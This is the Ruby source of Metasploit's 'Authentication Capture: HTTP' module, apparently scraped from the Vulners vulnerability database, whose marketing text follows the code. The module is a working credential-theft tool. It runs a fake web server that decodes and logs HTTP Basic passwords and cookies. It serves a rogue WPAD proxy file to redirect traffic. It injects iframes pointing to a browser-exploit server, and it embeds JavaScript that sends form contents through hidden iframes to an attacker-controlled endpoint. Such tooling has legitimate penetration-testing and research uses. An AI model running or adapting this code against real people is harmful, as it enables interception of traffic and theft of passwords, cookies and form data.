##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::TcpServer
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'Authentication Capture: HTTP',
'Description' => %q{
This module provides a fake HTTP service that
is designed to capture authentication credentials.
},
'Author' => ['ddz', 'hdm'],
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'Capture', 'Description' => 'Run capture web server' ]
],
'PassiveActions' =>
[
'Capture'
],
'DefaultAction' => 'Capture'
)
register_options(
[
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 80 ]),
OptPath.new('TEMPLATE', [ false, "The HTML template to serve in responses",
File.join(Msf::Config.data_directory, "exploits", "capture", "http", "index.html")
]
),
OptPath.new('SITELIST', [ false, "The list of URLs that should be used for cookie capture",
File.join(Msf::Config.data_directory, "exploits", "capture", "http", "sites.txt")
]
),
OptPath.new('FORMSDIR', [ false, "The directory containing form snippets (example.com.txt)",
File.join(Msf::Config.data_directory, "exploits", "capture", "http", "forms")
]
),
OptAddress.new('AUTOPWN_HOST',[ false, "The IP address of the browser_autopwn service ", nil ]),
OptPort.new('AUTOPWN_PORT',[ false, "The SRVPORT port of the browser_autopwn service ", nil ]),
OptString.new('AUTOPWN_URI',[ false, "The URIPATH of the browser_autopwn service ", nil ]),
])
end
# Not compatible today
def support_ipv6?
false
end
def run
@formsdir = datastore['FORMSDIR']
@template = datastore['TEMPLATE']
@sitelist = datastore['SITELIST']
@myhost = datastore['SRVHOST']
@myport = datastore['SRVPORT']
@myautopwn_host = datastore['AUTOPWN_HOST']
@myautopwn_port = datastore['AUTOPWN_PORT']
@myautopwn_uri = datastore['AUTOPWN_URI']
@myautopwn = false
if(@myautopwn_host and @myautopwn_port and @myautopwn_uri)
@myautopwn = true
end
exploit()
end
def on_client_connect(c)
c.extend(Rex::Proto::Http::ServerClient)
c.init_cli(self)
end
def on_client_data(cli)
begin
data = cli.get_once(-1, 5)
raise ::Errno::ECONNABORTED if !data or data.length == 0
case cli.request.parse(data)
when Rex::Proto::Http::Packet::ParseCode::Completed
dispatch_request(cli, cli.request)
cli.reset_cli
when Rex::Proto::Http::Packet::ParseCode::Error
close_client(cli)
end
rescue ::EOFError, ::Errno::EACCES, ::Errno::ECONNABORTED, ::Errno::ECONNRESET
rescue ::OpenSSL::SSL::SSLError
rescue ::Exception
print_error("Error: #{$!.class} #{$!} #{$!.backtrace}")
end
close_client(cli)
end
def close_client(cli)
cli.close
# Require to clean up the service properly
raise ::EOFError
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def dispatch_request(cli, req)
phost = cli.peerhost
os_name = nil
os_type = nil
os_vers = nil
os_arch = 'x86'
ua_name = nil
ua_vers = nil
ua = req['User-Agent']
case (ua)
when /rv:([\d\.]+)/
ua_name = 'FF'
ua_vers = $1
when /Mozilla\/[0-9]\.[0-9] \(compatible; MSIE ([0-9]+\.[0-9]+)/
ua_name = 'IE'
ua_vers = $1
when /Version\/(\d+\.\d+\.\d+).*Safari/
ua_name = 'Safari'
ua_vers = $1
end
case (ua)
when /Windows/
os_name = 'Windows'
when /Linux/
os_name = 'Linux'
when /iPhone/
os_name = 'iPhone'
os_arch = 'armle'
when /Mac OS X/
os_name = 'Mac'
end
case (ua)
when /PPC/
os_arch = 'ppc'
end
os_name ||= 'Unknown'
mysrc = Rex::Socket.source_address(cli.peerhost)
hhead = (req['Host'] || @myhost)
if req.resource =~ /^http\:\/+([^\/]+)(\/*.*)/
hhead = $1
req.resource = $2
end
if hhead =~ /^(.*):(\d+)\s*$/
hhead = $1
nport = $2.to_i
end
@myport = nport || 80
cookies = req['Cookie'] || ''
if(cookies.length > 0)
report_note(
:host => cli.peerhost,
:type => "http_cookies",
:data => hhead + " " + cookies,
:update => :unique_data
)
end
if(req['Authorization'] and req['Authorization'] =~ /basic/i)
basic,auth = req['Authorization'].split(/\s+/)
user,pass = Rex::Text.decode_base64(auth).split(':', 2)
report_cred(
ip: cli.peerhost,
port: @myport,
service_name: (ssl ? "https" : "http"),
user: user,
pass: pass,
proof: req.resource.to_s
)
report_note(
:host => cli.peerhost,
:type => "http_auth_extra",
:data => req.resource.to_s,
:update => :unique_data
)
print_good("HTTP LOGIN #{cli.peerhost} > #{hhead}:#{@myport} #{user} / #{pass} => #{req.resource}")
end
if(req.resource =~ /^\/*wpad.dat|.*\.pac$/i)
prx = "function FindProxyForURL(url, host) { return 'PROXY #{mysrc}:#{@myport}'; }"
res =
"HTTP/1.1 200 OK\r\n" +
"Host: #{hhead}\r\n" +
"Content-Type: application/x-ns-proxy-autoconfig\r\n" +
"Content-Length: #{prx.length}\r\n" +
"Connection: Close\r\n\r\n#{prx}"
print_status("HTTP wpad.dat sent to #{cli.peerhost}")
cli.put(res)
return
end
if(req.resource =~ /\/+formrec\/(.*)/i)
data = Rex::Text.uri_decode($1).split("\x00").join(", ")
report_note(
:host => cli.peerhost,
:type => "http_formdata",
:data => hhead + " " + data,
:update => :unique_data
)
res =
"HTTP/1.1 200 OK\r\n" +
"Host: #{hhead}\r\n" +
"Content-Type: text/html\r\n" +
"Content-Length: 4\r\n" +
"Connection: Close\r\n\r\nBYE!"
print_status("HTTP form data received for #{hhead} from #{cli.peerhost} (#{data})")
cli.put(res)
return
end
report_note(
:host => cli.peerhost,
:type => "http_request",
:data => "#{hhead}:#{@myport} #{req.method} #{req.resource} #{os_name} #{ua_name} #{ua_vers}",
:update => :unique_data
)
print_status("HTTP REQUEST #{cli.peerhost} > #{hhead}:#{@myport} #{req.method} #{req.resource} #{os_name} #{ua_name} #{ua_vers} cookies=#{cookies}")
if(req.resource =~ /\/+forms.html$/)
frm = inject_forms(hhead)
res =
"HTTP/1.1 200 OK\r\n" +
"Host: #{hhead}\r\n" +
"Content-Type: text/html\r\n" +
"Content-Length: #{frm.length}\r\n" +
"Connection: Close\r\n\r\n#{frm}"
cli.put(res)
return
end
# http://us.version.worldofwarcraft.com/update/PatchSequenceFile.txt
if(req.resource == "/update/PatchSequenceFile.txt")
print_status("HTTP #{cli.peerhost} is trying to play World of Warcraft")
end
# Microsoft 'Network Connectivity Status Indicator' Vista
if (req['Host'] == 'www.msftncsi.com')
print_status("HTTP #{cli.peerhost} requested the Network Connectivity Status Indicator page (Vista)")
data = "Microsoft NCSI"
res =
"HTTP/1.1 200 OK\r\n" +
"Host: www.msftncsi.com\r\n" +
"Expires: 0\r\n" +
"Cache-Control: must-revalidate\r\n" +
"Content-Type: text/html\r\n" +
"Content-Length: #{data.length}\r\n" +
"Connection: Close\r\n\r\n#{data}"
cli.put(res)
return
end
=begin
# Apple 'Network Status' Check (prevents a pop-up safari on the iphone)
if(req['Host'] == 'www.apple.com' and req.resource == '/library/test/success.html')
data = "\x3c\x21\x44\x4f\x43\x54\x59\x50\x45\x20\x48\x54\x4d\x4c\x20\x50\x55\x42\x4c\x49\x43\x20\x22\x2d\x2f\x2f\x57\x33\x43\x2f\x2f\x44\x54\x44\x20\x48\x54\x4d\x4c\x20\x33\x2e\x32\x2f\x2f\x45\x4e\x22\x3e\x0a\x3c\x48\x54\x4d\x4c\x3e\x0a\x3c\x48\x45\x41\x44\x3e\x0a\x09\x3c\x54\x49\x54\x4c\x45\x3e\x53\x75\x63\x63\x65\x73\x73\x3c\x2f\x54\x49\x54\x4c\x45\x3e\x0a\x3c\x2f\x48\x45\x41\x44\x3e\x0a\x3c\x42\x4f\x44\x59\x3e\x0a\x53\x75\x63\x63\x65\x73\x73\x0a\x3c\x2f\x42\x4f\x44\x59\x3e\x0a\x3c\x2f\x48\x54\x4d\x4c\x3e\x0a"
res =
"HTTP/1.1 200 OK\r\n" +
"Host: www.apple.com\r\n" +
"Expires: 0\r\n" +
"Cache-Control: must-revalidate\r\n" +
"Content-Type: text/html\r\n" +
"Content-Length: #{data.length}\r\n" +
"Connection: Close\r\n\r\n#{data}"
cli.put(res)
return
end
=end
# Microsoft ActiveX Download
if (req['Host'] == 'activex.microsoft.com')
print_status("HTTP #{cli.peerhost} attempted to download an ActiveX control")
data = ""
res =
"HTTP/1.1 404 Not Found\r\n" +
"Host: #{mysrc}\r\n" +
"Content-Type: application/octet-stream\r\n" +
"Content-Length: #{data.length}\r\n" +
"Connection: Close\r\n\r\n#{data}"
cli.put(res)
return
end
# Sonic.com's Update Service
if (req['Host'] == 'updateservice.sonic.com')
print_status("HTTP #{cli.peerhost} is running a Sonic.com product that checks for online updates")
end
# The google maps / stocks view on the iPhone
if (req['Host'] == 'iphone-wu.apple.com')
case req.resource
when '/glm/mmap'
print_status("HTTP #{cli.peerhost} is using Google Maps on the iPhone")
when '/dgw'
print_status("HTTP #{cli.peerhost} is using Stocks/Weather on the iPhone")
else
print_status("HTTP #{cli.peerhost} is request #{req.resource} via the iPhone")
end
end
# The itunes store on the iPhone
if(req['Host'] == 'phobos.apple.com')
print_status("HTTP #{cli.peerhost} is using iTunes Store on the iPhone")
# GET /bag.xml
end
# Handle image requests
ctypes =
{
"jpg" => "image/jpeg",
"jpeg" => "image/jpeg",
"png" => "image/png",
"gif" => "image/gif",
}
req_ext = req.resource.split(".")[-1].downcase
if(ctypes[req_ext])
ctype = ctypes['gif']
data =
"\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00" +
"\x00\xff\xff\xff\xff\xff\xff\x2c\x00\x00\x00\x00" +
"\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b"
res =
"HTTP/1.1 200 OK\r\n" +
"Host: #{mysrc}\r\n" +
"Content-Type: #{ctype}\r\n" +
"Content-Length: #{data.length}\r\n" +
"Connection: Close\r\n\r\n#{data}"
cli.put(res)
return
end
buff = ''
if(@myautopwn)
buff << "<iframe src='http://#{@myautopwn_host}:#{@myautopwn_port}#{@myautopwn_uri}'></iframe>"
end
list = File.readlines(@sitelist)
list.each do |site|
next if site =~ /^#/
site.strip!
next if site.length == 0
buff << "<iframe src='http://#{site}:#{@myport}/forms.html'></iframe>"
end
data = File.read(@template)
data.gsub!(/%CONTENT%/, buff)
res =
"HTTP/1.1 200 OK\r\n" +
"Host: #{mysrc}\r\n" +
"Expires: 0\r\n" +
"Cache-Control: must-revalidate\r\n" +
"Content-Type: text/html\r\n" +
"Content-Length: #{data.length}\r\n" +
"Connection: Close\r\n\r\n#{data}"
cli.put(res)
return
end
def inject_forms(site)
domain = site.gsub(/(\.\.|\\|\/)/, "")
domain = "www." + domain if domain !~ /^www/i
while(domain.length > 0)
form_file = File.join(@formsdir, domain) + ".txt"
form_data = ""
if (File.readable?(form_file))
form_data = File.read(form_file)
break
end
parts = domain.split(".")
parts.shift
domain = parts.join(".")
end
%|
<html>
<head>
<script language="javascript">
function processForms() {
var i = 0;
while(form = document.forms[i]) {
res = "";
var x = 0;
var f = 0;
while(e = form.elements[x]) {
if (e.name.length > 0 && e.value.length > 0 && e.value != "on"){
res += e.name + "=" + e.value + "\x00";
f=1;
}
x++;
}
if(f) {
url = "http://"+document.domain+":#{@myport}/formrec/" + escape(res);
fra = document.createElement("iframe");
fra.setAttribute("src", url);
fra.style.visibility = 'hidden';
document.body.appendChild(fra);
}
i++;
}
}
</script>
</head>
<body onload="processForms()">
#{form_data}
</body>
</html>
|
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation